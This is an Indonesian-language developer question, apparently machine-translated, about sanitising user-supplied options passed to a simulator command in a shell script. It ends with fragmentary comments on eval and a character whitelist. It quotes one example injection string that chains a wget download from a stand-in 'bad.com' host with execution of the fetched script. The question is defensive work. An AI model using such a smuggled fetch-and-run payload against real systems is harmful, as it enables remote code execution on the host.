Saya memiliki aplikasi pembungkus di mana saya harus membiarkan pengguna menentukan opsi khusus untuk diteruskan ke simulator. Namun, saya ingin memastikan pengguna tidak menyuntikkan perintah lain melalui opsi pengguna. Apa cara terbaik untuk mencapai ini?
Sebagai contoh.
- Pengguna menyediakan:
-a -b
- Aplikasi dijalankan:
mysim --preset_opt -a -b
Namun, saya tidak ingin ini terjadi:
- Pengguna menyediakan:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Aplikasi dijalankan:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Saat ini, saya berpikir bahwa saya dapat mengelilingi setiap pilihan yang disediakan pengguna dengan tanda kutip tunggal '
dan menghapus tanda kutip tunggal yang disediakan pengguna, sehingga perintah dalam contoh terakhir akan berubah menjadi tidak berbahaya:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Catatan: mysim
Perintah dijalankan sebagai bagian dari skrip shell dalam wadah buruh pelabuhan / lxc. Saya menjalankan Ubuntu.
eval
. Saya memanggil executable mysim
di dalam skrip shell. Saya melihat injeksi terjadi jika saya cukup menyalin serangkaian opsi yang disediakan pengguna dan menempelkannya di akhir mysim
perintah.
-a -b
. Jadi saya mencari untuk memastikan bahwa perintah tambahan tidak disuntikkan dalam string itu.
[a-zA-Z0-9 _-]
terlihat seperti pilihan yang cukup defensif.
eval
untuk menjalankan aplikasi? Jika tidak, suntikan tidak boleh terjadi:x="&& echo Doomed" ; echo $x